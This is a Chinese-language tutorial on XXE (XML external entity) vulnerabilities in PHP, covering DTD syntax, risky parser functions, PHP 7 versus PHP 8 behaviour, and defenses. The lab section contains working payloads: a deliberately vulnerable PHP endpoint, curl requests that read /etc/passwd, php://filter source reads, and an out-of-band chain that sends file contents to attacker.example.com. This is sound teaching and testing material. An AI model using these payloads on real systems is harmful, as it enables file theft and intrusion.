做安全测试这些年,我见过不少开发者对 XXE 漏洞的第一反应是“不就是一个 XML 解析的问题吗”。但真到排查线上事故、做代码审计的时候,这个漏洞往往藏得比想象中深。尤其是那些还在用老版本解析库、或者把用户输入直接丢进 XML 解析器的系统,几乎一打一个准。OWASP 把 XXE 排进 TOP 10 不是没有道理的,它不只是“能读个文件”这么简单,很多时候它可以直接打通内网、触达服务器上的敏感配置,甚至变成 RCE 的跳板。
这篇文章我会从 XML 语法和 DTD 开始,把 XXE 的原理、PHP 侧相关的解析函数、实际注入读取文件的完整过程,以及最后怎么防御,一层层拆开讲。不绕弯子,直接对着实操讲。适合刚接触 Web 安全的开发者和安全工程师参考,如果你是做代码审计或者漏洞排查的,里面几段关于 PHP 版本差异和编码踩坑的记录,应该能帮你省不少时间。
1. XML语法与DTD:理解XXE的第一块垫脚石
1.1 XML的基本语法:不只是“长得像HTML”那么简单
要理解 XXE,先得看懂 XML。很多开发者觉得 XML 无非就是标签套标签,跟 HTML 差不多,这个认知在平时写配置文件的场景下没问题,但在解析场景下会吃大亏。XML 的语法规则其实比 HTML 严格得多,标签必须闭合、属性必须加引号、大小写敏感,甚至一个特殊字符没转义,整份文档就直接解析失败。
一个最基础的 XML 长这样:
<?xml version="1.0" encoding="UTF-8"?> <user> <name>张三</name> <age>18</age> </user>第一行是 XML 声明,告诉解析器“我用的什么版本、什么编码”。接下来是根元素<user>,它必须只有一个,里面可以嵌套子元素。XML 的树形结构虽然直观,但真正的重点是:XML 规范允许文档里出现一种叫做“DTD”的东西,而 DTD 才是 XXE 真正的舞台。
DTD 全称是 Document Type Definition,它可以在 XML 文档内部声明,也可以引用外部文件。它本身是用于定义文档结构合法性的,比如“user 元素必须有 name 和 age 两个子元素”。但问题在于,DTD 里可以声明实体,而实体可以引用外部资源。XML 解析器在处理文档时,会按照 DTD 的声明去加载这些资源,加载行为一旦被恶意利用,就成了 XXE。
用生活化一点的说法来理解:XML 是一份“表单”,DTD 是“填表说明”,而实体就是说明书里的“宏”。填表的人拿到说明书,照着宏定义去展开内容,如果宏定义写着“去服务器某个文件里读取内容”,那么解析过程就会老老实实把那个文件内容搬进来。这个机制本意是好的,用来复用内容、简化文档,但在不可信输入场景下,就是漏洞的根源。
1.2 DTD声明类型与数据类型:内部DTD和外部DTD的区别
DTD 的声明有两种位置:内部子集和外部子集。内部子集直接写在 XML 文档里,用<!DOCTYPE 根元素 [...]>包裹;外部子集则是引用一个独立的.dtd文件,写法是用SYSTEM关键字带上文件路径或 URL。
<!-- 内部DTD --> <!DOCTYPE user [ <!ELEMENT user (name, age)> <!ELEMENT name (#PCDATA)> <!ELEMENT age (#PCDATA)> ]> <!-- 外部DTD --> <!DOCTYPE user SYSTEM "http://example.com/user.dtd">看到SYSTEM这个关键字就要敏感起来。它表示加载外部资源,而这个资源既可以是远程 URL,也可以是本地文件路径。XXE 的“文件读取”能力,本质上就是依赖这个关键字。
数据类型方面,DTD 里常见的元素类型有EMPTY(空元素)、(#PCDATA)(纯文本内容)、(#PCDATA | 子元素)*(混合内容)等,属性类型则包括 CDATA、ID、IDREF、ENUMERATED 等。这些类型本身没有安全问题,问题出在实体上。实体的类型才是 XXE 利用的核心,具体差异我放到下一小节展开。
1.3 实体的分类与作用:普通实体、外部实体和参数实体
DTD 里的实体可以理解为“变量”或者“宏”。声明之后,在文档其他地方用&实体名;引用,解析时会被替换成实体的值。实体分三类,每一类在 XXE 中的角色不同:
| 实体类型 | 声明位置 | 引用方式 | XXE 利用价值 |
|---|---|---|---|
| 内部实体 | 内部或外部 DTD | &实体名; | 低,只是替换文本 |
| 外部实体 | 内部或外部 DTD | &实体名; | 高,可加载文件或 URL |
| 参数实体 | 仅在 DTD 内部 | %实体名; | 高,常用于构造嵌套利用 |
普通内部实体的写法是<!ENTITY name "value">,解析时把&name;替换成value,这个机制本身人畜无害。危险的是外部实体:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <foo>&xxe;</foo>解析到&xxe;时,解析器会把/etc/passwd的内容当作实体值替换进文档,如果应用随后把解析结果输出到页面上,文件内容就泄露了。参数实体则是用来在 DTD 内部继续引用其他实体,常用于构造“无回显 XXE”的外带数据通道,后面实操部分我会再提。
2. XXE漏洞原理与攻击面:为什么一个“声明”能变成致命武器
2.1 漏洞根源:解析器默认信任外部实体加载
理解 XXE 原理,关键要明白一个词——“信任”。XML 规范允许文档自己声明要加载哪些外部资源,而历史上有相当一部分 XML 解析器在默认配置下会照单全收,不限制协议、不校验来源。也就是说,攻击者提交的 XML 文档里写着“帮我去读一下这个文件”,解析器就去读了;写着“帮我去访问一下这个内网地址”,解析器也照做。
我拿一个场景举例。某系统有个功能,允许用户上传一份 XML 格式的订单文件,后台用 PHP 的simplexml_load_string()解析后存入数据库。开发者的预期是解析订单数据,但解析器在执行时优先处理了 DTD 里的实体声明。攻击者提交这样的 payload:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE order [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <order> <item>&xxe;</item> </order>后端代码如果直接把某个字段的解析结果打印到日志或页面上,/etc/passwd的内容就跟着订单数据一起被带了出来。整个过程,开发者写的业务代码一行没改,只是“信任”了 XML 规范里的外部实体加载机制。
为什么这个漏洞能排到 OWASP TOP 10?因为它触及的是解析器的底层行为,业务代码几乎不需要“写错”什么。任何把 XML 解析用在不可信输入上的场景,都有可能中招。这也是我在做代码审计时最头疼的地方——有时候开发人员只是图省事,拿 XML 做数据交换格式,结果整个接口变成了文件读取器。
2.2 XXE的两种利用形态与攻击面梳理
XXE 的利用形态大体分两类:有回显和无回显。
有回显的利用最直接,解析后的 XML 内容会被应用以某种方式展示出来,比如页面渲染、接口返回、日志打印、导出文件等。攻击者只需要把外部实体引用放在会被展示的字段位置,文件内容就跟着响应返回。这类利用在自测时最直观,我在实操部分会用这种方式演示完整链路。
无回显场景则麻烦一些。解析结果不外显,但解析过程仍在执行,这时可以利用“外部实体请求外发”的特性,把文件内容通过构造好的 URL 带出去。原理上用参数实体拼一个请求地址,把目标文件内容作为 URL 的一部分发送到攻击者可控的服务器。比如/etc/passwd的内容经过换行转义后拼进 URL,攻击者的服务器访问日志里就能看到泄露的数据。当然,不同解析器和协议对 URL 长度、特殊字符有限制,实际利用时通常需要配合编码或分批外带。
至于攻击面,凡是接收 XML 并解析的地方都是潜在入口。典型场景包括:XML-RPC 接口、SOAP 服务、文档转换服务、RSS/Atom 导入、Office 文件解析、SVG 上传、配置文件导入、甚至某些移动 App 与服务端同步数据的私有协议。我之前接触过的一个模拟项目里,攻击者就是通过一个“简历解析”功能,上传了一份内嵌恶意 DTD 的 XML 简历,直接读出了服务器上的数据库配置文件。
3. PHP解析XML函数的风险解剖:从simplexml到DOMDocument
3.1 高频解析函数对比与默认行为差异
PHP 生态里操作 XML 的函数不少,但绝大多数 XXE 都是通过下面几个入口触发的:simplexml_load_string()、simplexml_load_file()、DOMDocument::loadXML()、DOMDocument::load(),以及少数场景下会用到的XMLReader和SimpleXMLIterator。
这几个函数在历史上默认都会解析 DTD 和实体。libxml_disable_entity_loader(true)曾经是 PHP 侧最常用的防御手段,从 PHP 8.0 开始这个函数被标记为弃用,因为底层 libxml 库的行为变了——外部实体加载默认被禁用。这个版本差异非常关键,我在 3.2 小节单独说。
simplexml_load_string是最容易出问题的入口,它把字符串解析成 SimpleXMLElement 对象,对开发者友好,但也意味着攻击者构造的 DTD 声明会被完整执行。DOMDocument::loadXML同样是完整解析,并且提供了更多底层接口,攻击者可以更灵活地控制实体引用方式。XMLReader是流式读取,性能好,但如果开了XMLReader::setParserProperty里的相关选项,一样有风险。
| 函数/类 | 默认是否解析外部实体 | 典型风险场景 |
|---|---|---|
| simplexml_load_string | 老版本默认是 | 上传 XML、接口接收 XML |
| simplexml_load_file | 老版本默认是 | 加载远程或本地 XML 文件 |
| DOMDocument::loadXML | 老版本默认是 | 自定义 XML 报文处理 |
| DOMDocument::load | 老版本默认是 | 文档导入、模板渲染 |
| XMLReader | 默认相对安全 | 大文件流式解析时误开选项 |
3.2 PHP版本更替带来的“防御错觉”
这里必须给做 PHP 开发的读者提个醒:网上大量 XXE 防御文章写的都是libxml_disable_entity_loader(true),但你在 PHP 8.0 以上的环境里照抄会失效,甚至直接报 deprecation 警告。
PHP 8.0 之前,libxml 默认会加载外部实体,所以这个函数确实是关键防线。但 PHP 8.0 以后,底层行为调整,外部实体加载默认关闭,这个函数被弃用。麻烦的是,很多项目代码是在 PHP 7 时代写的防御逻辑,升级到 PHP 8 之后防御逻辑没了效果,但项目里仍然存在 XML 解析入口——这会导致开发者以为“我加了防护”,实际上防护代码已经不再生效。
我实际测试过一组对比:在 PHP 7.4 环境跑simplexml_load_string解析带外部实体的 XML,文件内容会被读出来;同一段代码在 PHP 8.1 环境跑,外部实体不再被加载,解析器直接忽略 DTD 里的实体声明。这个变化本身是好事,但如果你在 PHP 8 环境仍依赖旧的“禁用函数”写法,等于把安全寄托在已经被移除的行为上。
正确的做法是:无论哪个版本,都显式使用libxml_set_external_entity_loader指定一个拒绝所有请求的加载器,或者在创建解析器时设置LIBXML_NONET选项(禁止网络访问)。更彻底的做法是先做输入校验,见第 6 章。
4. 实操复现:构造Payload读取目标文件
4.1 本地测试环境搭建
纸上谈兵不解决问题,我把整个 XXE 读取文件的过程完整跑了一遍。测试环境用 PHP 内置服务器就行,不需要装额外组件。我用的目录结构是一个简单的index.php,模拟某个接受 XML 的接口:
<?php $xml = file_get_contents('php://input'); if (empty($xml)) { $xml = $_POST['data'] ?? ''; } $data = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT); echo "解析结果:"; var_dump($data);这里故意传了LIBXML_NOENT(将实体替换为内容),是为了模拟“老版本 PHP 或开发者主动开启实体替换”的真实场景。默认情况下,如果$xml来自不可信输入,这段代码就是典型的 XXE 入口。
启动方式:
php -S 127.0.0.1:8080用 curl 直接发请求,测试 payload。
4.2 文件读取Payload的完整链路
先测最简单的文件读取。构造如下 XML:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <foo>&xxe;</foo>curl 发送:
curl -X POST http://127.0.0.1:8080/index.php \ -H "Content-Type: application/xml" \ -d '<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>'响应里var_dump($data)会输出一个SimpleXMLElement对象,内容被替换成了/etc/passwd的完整内容。如果接口是直接把某些字段回显,比如 JSON 接口,那泄露的就是 JSON 响应里的字符串字段。
这里有个容易被忽略的点:常见的 Linux 文件路径没问题,但 Windows 环境下路径写法不一样,C:\windows\win.ini在 XML 实体里要写成file:///C:/windows/win.ini,盘符大小写也有讲究。我在测试时踩过一次,路径写不对解析器会直接报错,而不是返回空内容。
读配置文件时,很多文件内容里带有特殊字符或者不符合编码规范,直接当实体值是会解析失败的。比如读取源码文件时,里面的<、>、&会破坏 XML 结构。这时候可以用 PHP 流过滤器编码:
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php"> ]> <foo>&xxe;</foo>这样实体值里只有 base64 字符,不会破坏 XML 文档结构,拿到内容后本地再解码。这个技巧在处理实际目标时几乎必用,因为目标文件基本都不可能是干净的 XML 文本。
4.3 无回显场景的思路补充与常见问题
很多实际漏洞是无回显的,页面返回“解析成功”但看不到实体内容。这时候用带外数据通道,核心思路是借助参数实体把目标文件内容拼接到一个 URL 请求里:
<!DOCTYPE foo [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=index.php"> <!ENTITY % dtd SYSTEM "http://attacker.example.com/evil.dtd"> %dtd; ]> <foo>1</foo>外部evil.dtd里再定义把%file;的值拼进请求:
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://attacker.example.com/?content=%file;'>"> %all; %send;攻击者的服务器上开个 HTTP 日志监听,目标文件内容就会出现在请求 URL 里。这个链路比较复杂,实际操作时还要处理换行符、URL 编码等细节,我在测试中遇到最多的坑是文件内容过大导致 URL 超限,解决方案是只读文件前几行,或者拆分成多段外带。
| 报错现象 | 常见原因 | 排查思路 |
|---|---|---|
| 解析失败无输出 | 文件内容含特殊字符破坏 XML 结构 | 改用 base64 过滤器 |
| 实体没有被替换 | 解析器默认禁用外部实体 | 检查LIBXML_NOENT或 PHP 版本 |
| 请求外带无日志 | 参数实体嵌套声明语法错误 | 确认 DTD 内实体引用格式 |
| 返回空白内容 | 读取目标文件无权限 | 换/etc/hosts等可读文件验证 |
5. 我踩过的坑:常见问题与排查实录
5.1 文件路径与编码的细节坑
XXE 读取文件,坑最多的不是 payload 写错,而是目标环境的细节。编码就是最典型的一个。解析器默认按 UTF-8 处理 XML,如果目标文件是 GBK 编码,读进来之后实体值是一串乱码,回显到页面上也看不出问题。我早期测试时读取某个项目的配置文件,内容是 GBK 编码,回显在页面上全是乱码,我以为利用失败了,后来用脚本把响应转码才看到真实内容。
解决办法很粗暴:不要直接读原始文件,先用php://filter转成 base64,配合convert.iconv也可以,但 base64 最省事,而且能同时解决特殊字符破坏 XML 结构的问题。
路径问题同样隐蔽。file:///etc/passwd在 Linux 上稳定,但有些解析器对 URL 格式要求严格,写成file://etc/passwd会解析失败。Windows 环境的路径写法我已经在第 4 章提过,这里再补一个坑:目标文件路径带空格时,实体值里直接写会在解析时出错,即便文件存在也读不出来。
5.2 版本差异导致的“假失败”
另一个高频坑是版本差异。同样的 payload,在这台机器上读不出文件,换一台机器就成功了,很多人以为是自己 payload 有问题,其实是解析器版本不同。
我碰到过一个具体案例:一个模拟项目里,后端 PHP 版本从 7.4 升到 8.1,升级前测试 XXE 能读文件,升级后同一个接口同样的 payload 不再有反应。表面上看是“漏洞被修复了”,实际是解析器默认行为变了。问题是,如果应用不止一个 XML 解析入口,某些入口显式设置了实体加载相关的选项,PHP 8 环境仍然可能出问题。所以排查 XXE 时,不要一看到“默认禁用”就觉得安全,要确认所有解析点上有没有主动开启实体替换的代码。
5.3 回显位置不直观的排查思路
有些接口虽然会解析 XML,但业务代码只取其中几个字段,比如只处理<order><amount>100</amount></order>里的amount。攻击者如果只在<note>字段里放实体引用,而业务代码根本不读note,那文件内容就不会泄露。
排查这类情况时,我会把所有解析后的字段都检查一遍,或者故意在所有可能被处理的字段里都放上实体引用。更快的方式是看接口会不会把整个对象序列化输出,比如json_encode($data),如果有,那任何一个字段的实体被替换后都会暴露。实操时也可以直接用php://filter读取当前脚本本身,从响应差异判断哪些字段被解析器实际处理了。
6. 防御体系落地与验证:不只靠一个“禁用函数”
6.1 代码层防御与配置调整
代码层要做到两件事:禁用外部实体加载、禁止网络访问。PHP 里最干净的做法是从源头控制加载器:
libxml_set_external_entity_loader(function ($public, $system, $context) { throw new Exception("外部实体加载被禁止"); });这段代码放在 XML 解析入口之前,任何外部实体请求都会抛出异常。与此同时,解析时加LIBXML_NONET选项,禁止 XML 解析器发起网络请求:
$data = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NONET);如果应用中确实需要解析合法的 XML,但不需要 DTD 和实体,可以考虑在解析前过滤掉<!DOCTYPE和<!ENTITY声明。这个方案比较粗暴,但对简单场景有效。需要注意的是,过滤方案容易被编码绕过绕过,比如用大小写混合字符或编码混淆,所以它只能作为辅助手段,不能当主防线。
6.2 输入层与架构层防御
更重要的防线在输入层。XML 内容进入解析器之前,先判断它的来源是否是可信的。对内外部接口的 XML 报文,建立 DTD 白名单:如果业务根本不需要 DTD,直接拒绝任何带<!DOCTYPE的请求。需要 DTD 的场景,把合法的 DTD 文件放在服务端本地,只允许引用白名单内的 DTD,不允许引用任意 URL 或文件路径。
协议白名单也值得做。XXE 能读取文件靠的是file://协议,能访问内网靠的是http://协议,那么在解析器前面就限制实体的 URL 协议类型。比如只允许https://特定域名,其他一律拒绝。这类逻辑可以写在libxml_set_external_entity_loader的回调里,判断$system参数的前缀。
架构层面的防御更彻底:不要用通用 XML 解析器处理业务数据。如果只是传结构化数据,直接用 JSON 完全足够。XML 在 Web 接口里并不比 JSON 更有优势,反而把解析复杂度、DTD 隐患全都带了进来。我在做安全评审时经常建议开发团队:新接口默认用 JSON,老接口保留 XML 的话必须走网关层统一的清洗逻辑。
6.3 防御有效性验证清单
写完防御代码,要验证真的防住了,不能光看“没有报错”。我整理了一份清单,每做一次防御改动就按这个过一遍:
| 验证项 | 预期结果 | 验证方法 |
|---|---|---|
| 外部实体读取本地文件 | 被拒绝或返回空 | 提交 file:///etc/passwd payload |
| 外部实体访问内网 | 被拒绝或超时 | 提交 file:///etc/hosts 或内网地址 payload |
| 外部实体访问外网 | 被拒绝或超时 | 提交 http://公网地址 payload |
| 正常 XML 解析 | 不影响业务 | 提交无 DTD 的合法业务报文 |
| 参数实体嵌套 | 被拒绝 | 提交带 %file; 和外部 DTD 的 payload |
每次验证完,确认两点:恶意请求没有读取到数据,合法请求没有被误伤。这两点缺一不可。我见过一些团队把防御做死了,所有 XML 请求直接拒绝外部实体,但业务恰好有一个功能需要接收第三方系统推送的带 DTD 的 XML,导致线上故障。好的防御是精确拦截,不是一刀切禁止。
我个人的经验是,XXE 防御没有“配好一次就一劳永逸”的说法。每次 PHP 版本升级、解析库变更、新接口上线,都要重新过一遍验证清单。尤其是现在很多项目都在逐步升级到 PHP 8,旧的防御代码到底还有没有效,很多人其实说不清。把验证清单挂在 CI 里,每次变动自动跑一遍 XXE payload,是最不容易翻车的方式。